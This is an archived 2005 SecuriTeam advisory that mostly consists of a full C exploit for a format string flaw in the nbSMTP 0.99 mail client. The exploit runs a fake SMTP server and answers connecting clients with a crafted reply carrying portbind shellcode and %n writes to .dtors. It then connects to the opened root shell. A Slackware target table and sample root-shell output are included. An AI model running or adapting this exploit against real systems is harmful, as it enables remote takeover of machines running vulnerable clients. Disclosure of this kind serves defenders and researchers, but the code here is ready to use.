

[EXPL] nbSMTP Format String (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0046.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 08/10/05

To: list@securiteam.com

Date: 10 Aug 2005 14:43:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

nbSMTP Format String (Exploit)

SUMMARY

" <<http://nbsmtp.ferdyx.org/>> nbSMTP is a simple SMTP client suitable to run in chroot jails, in embedded systems, laptops, workstations etc.."

A format string vulnerability in nbSMTP allows attackers to execute arbitrary code.

DETAILS

Vulnerable Systems:

- * nbSMTP version 0.99

Exploit:

```
/* nbSMTP_fsexp.c
```

```
*
```

```
* nbSMTP v0.99 remote format string exploit
```

```
* by CoKi <coki@nosystem.com.ar>
```

```
*
```

```
* root@nosystem:/home/coki/audi# ./nbSMTP_fsexp
```

```
*
```

```
* nbSMTP v0.99 remote format string exploit
```

```
* by CoKi <coki at nosystem.com.ar>
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
*
* Use: ./nbSMTP_fsexp [options]
*
* options:
* -t <arg> type of target system
* -r <arg> return address
* -s <arg> shellcode address
* -o <arg> offset
* -l targets list
*
* root@nosystem:/home/coki/audit# ./nbSMTP_fsexp -t2
*
* nbSMTP v0.99 remote format string exploit
* by CoKi <coki at nosystem.com.ar>
*
* [*] system : Slackware Linux 10.0
* [*] return address : 0x0804d8cc
* [*] shellcode address : 0x08053613
* [*] building evil buffer : done
* [*] running fake smtp server : done
*
* [*] waiting... : 10.0.0.1:2046 connected
* [*] sending evil command... : done
*
* [*] checking for shell... : done
*
* [!] you have a shell :)
*
* Linux servidor 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i586 unknown
unknown GNU/Linux
* uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),102(bbs)
*
* Tested in Slackware Linux 9.0 / 10.0 / 10.1
*
* by CoKi <coki at nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
#define SMTPD 25
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
    socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(int retaddr, int shaddr);

/*
 * Shellcode – portbind 5074 (84 bytes)
 * by Giuseppe Gottardi 'oveRet' <overet@securitydate.it>
 */

char shellcode[] =
"\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x52\x43\x68\xff\x02\x13\xd2\x89\xe1"
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

struct {
    int num;
    char *os;
    int retaddr;
    int shaddr;
}targets[] = {
    1, "Slackware Linux 9.0", 0x0804d4d4, 0x080531c3, // .dtors
    2, "Slackware Linux 10.0", 0x0804d8cc, 0x08053613, // .dtors
    3, "Slackware Linux 10.1", 0x0804d898, 0x08053e4e // .dtors
};

int main(int argc, char *argv[])
{
    char opt, *system=NULL;
    int shaddr=0, retaddr=0, targetnum=0, offset=0, i;

    printf("\n nbSMTP v0.99 remote format string exploit\n");
    printf(" by CoKi <coki@nosystem.com.ar>\n\n");

    while((opt = getopt(argc,argv,"r:s:t:lo:")) != EOF) {
        switch (opt) {
            case 'r':
                retaddr = strtoul(optarg,NULL,0);
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
system = "unknown";
break;
case 's':
shaddr = strtoul(optarg, NULL, 0);
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) {
system = targets[targetnum].os;
retaddr = targets[targetnum].retaddr;
shaddr = targets[targetnum].shaddr;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
offset = atoi(optarg);
shaddr += offset;
break;
default:
use(argv[0]);
break;
}
}

if(retaddr == 0) use(argv[0]);
if(shaddr == 0) use(argv[0]);
if(system == NULL) {
system = "unknown";
}

printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] return address\t\t: %010p\n", retaddr);

printf(" [*] shellcode address\t\t: %010p", shaddr);
fflush(stdout);

if(offset) printf(" (offset %d)\n", offset);
else printf("\n");

exploit(retaddr, shaddr);
}

void exploit(int retaddr, int shaddr) {
char smtp[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE], host[255];
int sock, newsock, i, reuseaddr=1;
unsigned int bal1, bal2;
int cn1, cn2;
struct sockaddr_in remoteaddr;
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;

printf(" [*] building evil buffer\t:");
fflush(stdout);

/* adding pads */
sprintf(smtp, "553 xx");

/* adding return address */
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &retaddr);
strncat(smtp, temp, 4);
retaddr += 2;
sprintf(temp, "%s", &retaddr);
strncat(smtp, temp, 4);

/* adding nops */
strcat(smtp, "\x90\x90\x90\x90");

/* adding shellcode */
strcat(smtp, shellcode);

bal1 = (shaddr & 0xffff0000) >> 16;
bal2 = (shaddr & 0x0000ffff);

cn1 = bal2 - 14 - 2 - 8 - 4 - 84;
cn1 = check(cn1);
cn2 = bal1 - bal2;
cn2 = check(cn2);

/* adding evil string */
sprintf(temp, "%%du%%7$n%%du%%8$n", cn1, cn2);
strcat(smtp, temp);
strcat(smtp, "\n");

printf(" done\n");
printf(" [*] running fake smtp server\t:");
fflush(stdout);

localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(SMTPD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror(" socket()");
    printf("\n");
    exit(1);
}
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
    perror(" setsockopt()");
    printf("\n");
    exit(1);
}

if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
    perror(" bind()");
    printf("\n");
    exit(1);
}

if (listen(sock, 1) < 0) {
    perror(" listen()");
    printf("\n");
    exit(1);
}

printf(" done\n");
printf("\n [*] waiting...");
fflush(stdout);

if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) <
0) {
    perror(" accept()");
    printf("\n");
    exit(1);
}

if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
    perror(" getpeername()");
    printf("\n");
    exit(1);
}

printf("\t\t\t: %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr),
ntohs(remoteaddr.sin_port));
fflush(stdout);

printf(" [*] sending evil command...\t:");
fflush(stdout);

bzero(temp, sizeof(temp));
sprintf(temp, "220\n");

if (write(newsock, temp, strlen(temp)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
}
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
    perror(" read()");
    printf("\n");
    exit(1);
}

bzero(temp, sizeof(temp));
sprintf(temp, "250\n");

if (write(newsock, temp, strlen(temp)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
}

if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
    perror(" read()");
    printf("\n");
    exit(1);
}

if (write(newsock, smtp, strlen(smtp)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
}

close(sock);
close(newsock);

printf(" done\n\n");
fflush(stdout);

printf(" [*] checking for shell...\t:");
fflush(stdout);

sprintf(host, "%s", inet_ntoa(remoteaddr.sin_addr));
sleep(1);

shell(host, SHELL);
}

void shell(char *host, int port) {
    int sockfd, n;
    char buff[BUFFERSIZE], *command = "uname -a; id;\n";
    fd_set readfs;
    struct hostent *he;
    struct sockaddr_in dest_dir;

    if((he=gethostbyname(host)) == NULL) {
        perror(" gethostbyname()");
    }
}
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
printf("\n");
exit(1);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf(" failed!\n\n");
exit(1);
}

printf(" done");
fflush(stdout);

/* owned ;) */
printf("\n\n [!] you have a shell :)\n\n");
fflush(stdout);

send(sockfd, command, strlen(command), 0);

while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rfd, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rfd);
FD_ZERO(&wrf);

FD_SET(sfd, &rfd);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rfd, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rfd)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 10)
addr = addr + 65536;

return addr;
}

void use(char *program) {
printf(" Use: %s [options]\n", program);
printf("\n options:\n");
printf(" -t <arg> type of target system\n");
printf(" -r <arg> return address\n");
printf(" -s <arg> shellcode address\n");
```

Securiteam: [EXPL] nbSMTP Format String (Exploit)

```
printf(" -o <arg> offset\n");
printf(" -l targets list\n\n");
exit(1);

}

void printlist(void) {
int i=0;

printf(" targets\n");
printf(" ----- \n\n");

while(targets[i].num) {
printf(" [%d] %s\n", targets[i].num, targets[i].os);
i++;
}

printf("\n");
exit(0);
}

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:coki@nosystem.com.ar> CoKi.

The original article can be found at:

<http://nosystem.com.ar/exploits/nbSMTP_fsexp.c>

http://nosystem.com.ar/exploits/nbSMTP_fsexp.c

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.